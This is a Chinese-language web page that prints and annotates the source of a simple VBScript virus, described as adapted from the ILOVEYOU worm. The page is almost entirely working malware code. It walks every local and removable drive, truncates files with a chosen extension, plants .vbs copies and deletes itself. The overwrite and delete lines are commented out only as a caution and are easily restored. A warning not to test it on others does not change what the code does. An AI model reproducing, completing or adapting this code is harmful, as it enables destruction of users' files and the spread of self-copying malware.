◎vbs病毒的簡單例子源代碼解析

說明:作者對某些代碼進行了修改。該文件是一個完整的程序。該文件執行之後,會尋找硬盤上所有滿足條件的文件,對其進行強制性覆蓋(滿足條件的文件數據將全部丟失)、並再創建一個相同文件名但後帶.vbs的文件。因此,請注意設立好破壞測試條件,千萬不要對他人進行測試,否則,一切後果自負。

dim folder,fso,foldername,f,d,dc

set fso=createobject("scripting.filesystemobject")

set self=fso.opentextfile(wscript.scriptfullname,1)

vbscopy=self.readall '讀取病毒體,以備複製到文件

self.close

set dc=fso.Drives

for each d in dc

if d.drivetype=3 or d.drivetype=2 then '檢查磁盤類型

wscript.echo d '彈出窗口,顯示找到盤符

scan(d)

end if

next 

lsfile=wscript.scriptfullname '該腳本程序路徑

set lsfile=fso.getfile(lsfile)

lsfile.delete(true) '病毒運行後自我刪除(本人自加,愛蟲病毒本身沒有該代碼)

sub scan(folder_)

on error resume next

set folder_=fso.getfolder(folder_)

set files=folder_.files

for each file in files

ext=fso.GetExtensionName(file) '獲取文件後綴

ext=lcase(ext) '後綴名轉換成小寫字母

if ext="mp5" then '如果後綴名是mp5,當然不存在這種文件,這裏可以自己修改,但是注意。請自己建立相應後綴名的文件,最好是非正常後綴名

set ap=fso.opentextfile(file.path,2,true) 

' ap.write vbscopy '覆蓋文件,慎用

ap.close

set cop=fso.getfile(file.path)

cop.copy(file.path & ".vbs") '創建另外一個病毒文件

' file.delete(true) '刪除原來文件

end if

next

set subfolders=folder_.subfolders

for each subfolder in subfolders '搜索其他目錄

scan(subfolder)

next 

end sub

 
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章